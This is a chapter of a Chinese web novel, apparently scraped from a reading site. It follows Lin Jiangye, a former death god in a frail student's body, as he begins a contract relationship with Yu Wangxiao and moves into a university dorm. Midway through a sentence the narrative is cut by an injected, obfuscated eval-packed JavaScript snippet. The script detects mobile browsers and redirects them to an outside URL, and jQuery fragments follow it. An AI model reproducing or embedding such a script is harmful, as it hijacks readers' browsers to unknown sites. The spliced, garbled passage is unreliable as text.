虞望宵收了手机,没再展开更多信息。
说得太难听了,让林将夜看见也没有意义。
那些意味不明的泄愤与羞辱,其实无法证明任何事,只能表现出虞凛极端的不成熟。
他的目光轻轻落在林将夜脸上,凝视,像条悄无声息的毒蛇,不放过任何一丝可能暴露情绪的细节。
林将夜却对人类的视线不太敏感,任由虞望宵盯着自己,有些困扰地思索几秒,小声道:“我可以澄清一下吗?”
“嗯,你说。”
“我和虞凛都是处男,我没碰过他,他对我其实也完全不感兴趣,”林将夜轻蹙着漂亮的眉,不解之色溢于言表,甚至开始分析,“我怀疑他疯了,可能是突发精神问题导致认知障碍,比如谵妄症之类的,你觉得呢?”
虞望宵:“……”
他似乎又一次在林将夜面前,感到无话可说。
因为林将夜是真的认为虞凛有精神问题,并为此感到了小小的困扰。
“你说得对,他有病。”所以他勾起唇,心安理得地附和了一句。
而林将夜在忧虑自己的安全问题。
“可以提前支给我一名保镖吗?钱从我的工资里扣。我担心他发疯了,把我砍死。”
毕竟中秋假期已经结束,今天下午他就要返校上课。担心虞凛骚扰是一方面,另一方面是……他身体实在太虚弱。
气血不足,外加常年心情郁结的负面影响,走两步就喘不过气来。
原主人缘一般,大学也是走读,所以没多少熟识朋友。如果半路休克、昏倒在浴室,没人及时帮忙,后果可能不堪设想。
虞望宵自然不会拒绝,甚至对这一请求乐见其成。
他穿上剪裁优良的西装外套,单手整理着领带,语气依然温柔:“团团,别忘了,我是你的男朋友,不必去想兼职的事。人身保障,衣食住行,我都有责任为你安排。”
话说回来,有件趣事。“团团”是不但原主的小名,也是林将夜在幼年期的代称。
他叫团团,是因为他初次诞生于虚无时,本体只是一个轮廓丝滑的、圆圆的银色光团。而原主……似乎是因为出生时脑袋很圆。
虽然二者的来源本质上截然不同,但并不妨碍林将夜在这个世界继续沿用。尤其是从虞望宵口中传出来,显得格外亲密而暧昧。
哪怕他头顶显示出的好感度,目前只有可怜的百分之五。
林将夜有些怅然。在伪装情侣这一领域,果然还是成熟的男人更为可靠,装得他都忍不住想轻信了。
保镖人选昨晚就被安排好了,大学学费和养母的住院费也无需他挂心,情侣合约的定金已经迅速打入账户,没有半分拖延。
虞望宵真是个好人。
若是能顺利恢复神力……林将夜想,他会帮他避开一切寿终正寝以外的死亡结局。
毕竟他现在不是死神了,不需要刻板地遵守任何规矩,不必按照上头安排的名单去收割灵魂。
他只是一个空有胜负欲与事业心,却对一切事物都无能为力的病秧子。
调养身体,好好学习,毕业后认真工作。
三条光明大路,由不得他生出丝毫迷茫的心绪。
虞望宵要去公司了,林将夜跟在他身后下楼。
空空荡荡的虞家老宅里没有主人,原书有名有姓的几个角色,暂时都扎堆住在私人医院里,无法脱身。
色调压抑的暗红大厅,透出些诡异的寂静。林将夜不是很喜欢,他的合约男友显然也不太满意。
顶着保姆和管家满怀震惊的注目礼,虞望宵将一套位于龙景湾的钥匙卡交给林将夜。
寸土寸金的市中心顶套大平层,就这样轻飘飘送了出去。
属于原主的行李和衣物,先前都放在虞凛那边的客房,如今也被他叫人毫不客气地全部搬离。
光明正大抢了侄子的人,虞望宵没给出半句解释,面色如常地领着林将夜坐上轿车,扬长而去。
有通风报信的把这一幕偷偷拍下,传给在医院疗养的虞凛。
VIP病房里的小少爷冷笑着扔了手机,举起拐杖砸碎两面窗户玻璃。
*
低调的黑色轿车,缓缓停在A大门口,不算引人注目。
林将夜白着脸开门下车,蹲在人行道旁的绿化丛边,干呕了几下,没吐出什么东西。
保镖陈叔拖着行李箱跟上他,拧开保温杯,递来温水与柑橘味的小药片。
“……谢谢陈叔。”林将夜嗓音轻颤,悄然叹了口气。
体弱多病就算了,他居然还晕车。
这具身体,究竟如何能抗住原文那些激烈的床戏?他艰难吞下药片,默默地感到不解。
陈铭推了推简朴的黑框眼睛,低声问:“先生,距离您的宿舍还有两公里,需要我背着您走吗?”
虞望宵给他的保镖很有意思,气质朴素,毫无存在感,就像送孩子上大学的普通中年父亲。
“没事的,让我多走走,锻炼体力。”
林将夜拒绝了他的好意,咬着稍显苍白的嘴唇,开始自行“长途跋涉”。
A大是北城最好的大学之一,虞家捐了两栋楼,让虞凛可以肆无忌惮地安排日常时间。
而原主是亲自考上来的,林家人觉得面上有光,同样为他随便走了点关系。
他可以选择住在校外的同时,留下一间属于自己的宿舍。
中秋节前夕,原主为了方便照顾虞凛,主动申请更换宿舍,可虞凛却忽然选择退寝,仿佛刻意不给他近距离接触的机会。
想到林景曜悄无声息的归国行程,一切都有迹可循。
心有白月光的主角攻,早已打算离开卑微的恋人。
林将夜决定住校几日,先摸透原主生活的具体细节,向熟人申明自己与虞凛分道扬镳,并履行合同上的秀恩爱义务。
他新换的宿舍条件很不错,是四人间,有电梯,位于南桐楼502号。
推开门时,三名舍友早就到了,他们都是申请换寝后被安排来的,皆为陌生面孔。
几人已经分好了属意的床铺,正在热火朝天地大扫除。
秋季气温微凉,正值青春的男大学生却满头大汗,赤着半身爬上爬下,一个在拖地,一个钻进来床底,将角落里的灰尘擦拭干净。
听见林将夜的动静,三颗脑袋从几个方向不约而同探了出来。
林将夜怔怔愣住,一时不知该如何反应。
从山间庄园的豪门剧情中蓦然抽离,走进正常人的世界里,让他有种异样的不真实感。
在擦洗漱台的青年相貌出众,只微微对他颔首,态度不冷不淡。
而床底下的寸头男生性格开朗,主动举起抹布挥了挥手,露出大白牙:“哈喽,我是李亮,在拖地的叫晋泷,我俩是计算机的。
“那个冷冰冰的帅哥是顾九安,超有名,你应该认识。九安哥只是看着高冷,其实脾气超好的,别怕哈!”
他满脸沾着床底灰尘,显得有点滑稽,自来熟得让人难以招架。
一旁拄着拖把的晋泷,凑过来白了李亮两眼,随后也自来熟地掏出手机:“哥们加个好友,你荣耀几星?”
“……你们好,我叫林将夜,大二金融管理,”林将夜大脑宕机片刻,赶紧模仿起年轻人类的说话方式,打开自己卡顿的旧手机,“抱歉,我不太会打游戏。”
“啊?”
晋泷一怔,目光扫过陈叔脚边价格高昂的行李箱,一时分不清这小白脸到底是穷是富。
他很快撇开心中的迷茫,笑道:“没事儿,就算你用诺基亚,哥也能把你带飞。”
林将夜就这样迷迷糊糊地加了三人好友,下载了几款从未听说的游戏,轻声和他们闲聊起来。
而陈铭雷厉风行地自顾自忙活着,打开箱子麻利铺好床,又脚步无声退了出去。李亮想跟他问个好都来不及。
“那帅老叔是你爸啊?怪不得这么有气质,像部队回来的,其实我本来也想当兵……”
林将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433109|169258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜抿唇笑了笑,打断李亮合不拢的话匣子,诚实回答:“不是的,他是我男朋友给我安排的保镖。”
话落,寝室里蓦的一静,三人表情都有了微妙的变化。
“那个,不瞒你说,我有点猜出来了,但谁家好人跟你似的开局自曝啊?”晋泷率先打破了沉默,语气似乎恨铁不成钢。
“什么叫开局自爆?我没有自爆。”林将夜疑惑歪头。
成年人类,有男朋友应该不是稀罕事吧?
晋泷扒拉开不知所措的李亮,意味深长地上下打量林将夜,忍不住笑:“你男朋友很英明,是该防男又防女。”
这话林将夜也颇为认同:“是的,我容易被骚扰,还经常生病,有保镖比较安全。”
被混混拖入小巷的剧情,在原书来来回回出现了很多遍。
“嘿,小漂亮还挺有自知之明。”
“卧槽老晋,你怎么突然油腻起来了,我不准你变弯!”
“滚滚滚!别跟你爹没大没小的。”
林将夜一脸茫然:“请问……变弯是什么意思?”
“嘶,这是一个哲学的问题。”
几人说笑,略显生疏的气氛很快变得热闹,远处始终沉默的清俊青年,却始终面色淡漠。
听见林将夜直白地秀起恩爱,描绘虞望宵的体贴行为,他甚至冷声道:“蠢货,你男朋友不会有那么好心。”
被骂了。
来到新世界这么久,这是他第二次被骂呢。
林将夜心中只有好奇,抬眸与顾九安定定对视,余光不着痕迹落在青年发顶。
顾九安抿了抿薄唇,扭头错开交汇的视线。
——他是豪门顾家私生子,为原主奉献的深情男二。
在剧情中期,顾九安会帮原主避开虞凛的权势胁迫,带他去留学避难。
两人险些在海外领证定居,再也不回来。
可惜,顾九安实在太温柔、太正直了,根本不是原主的菜。原主再怎么感动,都无法真正爱上他。
就在他们领证前夕,虞凛终于“发现自己的内心”,带着枪漂洋过海去抢人。顾九安也温柔地察觉到原主的纠结心事,选择为爱放手、黯然退场。
逻辑很离奇。
更离奇的是,顾九安的临死画面。
他将抢夺回来的顾家股份,一股脑转进林将夜名下,转头就跳进了岩浆沸腾的火山口。
行云流水,毫无留恋,享年二十八岁。
说实话,林将夜完全无法理解他的行为逻辑。
但至少他早已知晓,看似冰冷的高岭之花顾九安,本质是个自卑又温柔的好心人。
顾九安会说出这句“蠢货”,是因为他知道虞凛背地里的纨绔与恶劣,他把林将夜看作痴恋渣攻的恋爱脑。
骂得很合理,他是大好人。
所以,林将夜按了按眼尾,手动压出些许羞赧的红晕,认真澄清:“顾九安,我男朋友不是虞凛,是他小叔。我很聪明的。”
顾九安一怔:“……虞望宵?”
“嗯。”
“真的?”
“嗯。”
“……你没开玩笑?”
“嗯。”
这一通爆炸性的消息,让顾九安足足愣了半分钟。
他原本冰冷的声音上扬几分,似乎还是忍着怒意:“林将夜,你是林家名正言顺的亲生儿子,至于这样作践自己?
“我家有个只吃分红的表弟,十八岁,没谈过恋爱。你想联姻也别找老男人,还不如这种干净……”
“砰——”
话未说完,宿舍门被两个西装男人大力踹开。
西装男身后,一架崭新电动轮椅上,面沉如水的虞凛冷笑着睨过来。
他穿了松松垮垮的病号服,左腿被石膏包裹,寒凉视线却如利刃扫过每一个人。哪怕坐上轮椅,虞家少爷依旧锋芒毕露,唇角勾起讥讽弧度,像只杀意沸腾的恶狼。
“姓顾的杂种,你他妈哪来的胆量跟老子抢人?”